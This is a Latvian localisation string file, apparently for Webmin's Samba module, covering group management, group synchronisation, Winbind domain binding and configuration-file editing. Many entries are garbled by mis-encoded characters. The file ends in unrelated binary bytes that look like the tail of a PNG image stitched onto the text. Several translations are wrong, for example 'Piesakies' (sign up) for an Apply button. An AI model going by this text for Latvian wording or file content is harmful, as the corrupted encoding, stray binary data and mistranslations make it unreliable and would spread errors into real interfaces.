groups_nounix=Nav
groups_type=Veids
groups_type_d=Domēnu grupa
groups_type_b=NT iebūvēts
groups_type_l=VietÄ“jÄ grupa
groups_type_u=NezinÄms
groups_sid=SID
groups_none=PagaidÄm nav definÄ“tas nevienas Samba grupas.
groups_return=grupu saraksts
groups_add=Pievienojiet jaunu Samba grupu.
groups_ecannot=Jums nav atļauts skatīt vai rediģēt Samba grupas
groups_cannot=Samba grupas nevar uzskaitīt

gedit_title2=Rediģēt Samba grupu
gedit_title1=Izveidojiet Samba grupu
gedit_header=Samba grupas informÄcija
gedit_name=Grupas nosaukums
gedit_type=Grupas tips
gedit_sid=Grupas SID
gedit_desc=Apraksts
gedit_priv=Privilēģijas
gedit_unix=Unix grupa
gedit_unixgr=Grupa ..
gedit_none=Nav
gedit_set=SarakstÄ ..

gsave_err=NeizdevÄs saglabÄt grupu
gsave_eunix=Trūkst vai nav derīgs Unix grupas nosaukums vai GID
gsave_ename=Trūkst grupas nosaukuma
gsave_epriv=Trūkst grupas privilēģiju
gsave_elocal=Privilēģijas var iestatÄ«t tikai vietÄ“jÄm grupÄm

gsync_title=Grupu sinhronizÄcija
gsync_msg=Webmin var konfigurÄ“t tÄ, lai izmaiņas Unix grupu sarakstÄ tiktu automÄtiski piemÄ“rotas Samba grupas sarakstam. Tas darbosies tikai tad, ja modulis <b>LietotÄji un grupas</b> Webmin tiek izmantots grupu pievienoÅ¡anai, dzēšanai vai mainīšanai.
gsync_add=Kad tiek pievienota Unix grupa, pievienojiet Samba grupu
gsync_chg=Mainiet Samba grupu, kad tiek mainīta Unix grupa
gsync_del=Izdzēsiet grupu Samba, kad tiek izdzēsta Unix grupa
gsync_apply=Piesakies
gsync_type=Jauno grupu tips
gsync_priv=Privilēģijas jaunÄm grupÄm (ja vietÄ“jÄs)
gsync_ecannot=Jums nav atļauts konfigurÄ“t grupas sinhronizÄciju
gsync_cannot=Grupu sinhronizÄciju nevar konfigurÄ“t

check_user1=$1 : <a href='$2'>autentifikÄcija</a> nav iespÄ“jota Å¡ifrÄ“tas paroles.
check_user2=$1 : LapÄ <a href='$2'>moduļa konfigurÄcija</a> nav iestatÄ«ts ne Samba paroles fails, ne ceļš uz pdbedit.
check_group1=$1 : grupas tiek atbalstÄ«tas tikai Samba 3. versijÄ.
check_group2=$1 : LapÄ <a href='$2'>Moduļa konfigurÄcija</a> nav iestatÄ«ts ceļš uz smbgroupedit vai tÄ«kla komandÄm.

winbind_title=Saistīties ar domēnu
winbind_ecannot=Jums nav atļauts saistīties ar domēniem
winbind_msg=Å o veidlapu var izmantot, lai piesaistÄ«tu jÅ«su Samba serveri Windows domÄ“nam, kuru parasti pÄrvalda cits serveris.
winbind_header=Saistīties ar Windows domēnu
winbind_user=SaistÄ«t kÄ lietotÄju
winbind_dom=Saistīt ar domēnu
winbind_save=Saisties tagad
winbind_default=DomÄ“ns no Samba konfigurÄcijas
winbind_pass=LietotÄja parole
winbind_err=NeizdevÄs saistÄ«t ar domÄ“nu
winbind_euser=TrÅ«kst lietotÄjvÄrda
winbind_edom=TrÅ«kst domÄ“na vÄrda
winbind_cmd=Saistīšana domÄ“nÄ ar komandu $1.
winbind_failed=.. neizdevÄs! Iemeslu, kÄpÄ“c tÄ, skat. IepriekÅ¡ minÄ“tajÄ iznÄkumÄ.
winbind_ok=.. pabeigts.

bind_title=Winbind opcijas
bind_ecannot=Jums nav atļauts rediģēt Winbind opcijas
bind_header=Windows domēna iesiešanas iespējas
bind_local=Vai iespējot Winbind vietējiem kontiem?
bind_trust=Vai uzticaties domÄ“na servera lietotÄjiem?
bind_users=Vai neatļaut lietotÄju uzskaitīšanu?
bind_groups=Vai neatļaut grupu uzskaitīšanu?
bind_defaultdomain=Vai vienmēr izmantot noklusējuma domēnu?
bind_realm=Kerberos valstība domēna serverī
bind_cache=Sekundes, lai saglabÄtu keÅ¡atmiņas lietotÄja informÄciju par
bind_uid=UID klÄsts Windows lietotÄjiem
bind_gid=Windows grupu GID klÄsts
bind_backend=LDAP aizmugure konta kartēšanai
bind_err=NeizdevÄs saglabÄt Winbind opcijas
bind_erealm=Nederīga Kerberos sfēra
bind_ecache=Trūkst vai nav derīgs kešatmiņas laiks
bind_euid=NederÄ«gs UID diapazons - jÄbÅ«t tÄdam, kÄ 20000-30000
bind_egid=NederÄ«gs GID diapazons - jÄbÅ«t tÄdam, kÄ 20000-30000

manual_title=Rediģēt konfigurÄcijas failu
manual_desc=Rediģēt Samba konfigurÄcijas failu $1.
manual_err=NeizdevÄs saglabÄt konfigurÄcijas failu
manual_edata=Nekas nav ienÄcis

delete_err=NeizdevÄs izdzÄ“st kopÄ«goÅ¡anu
delete_enone=Nav atlasīts
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚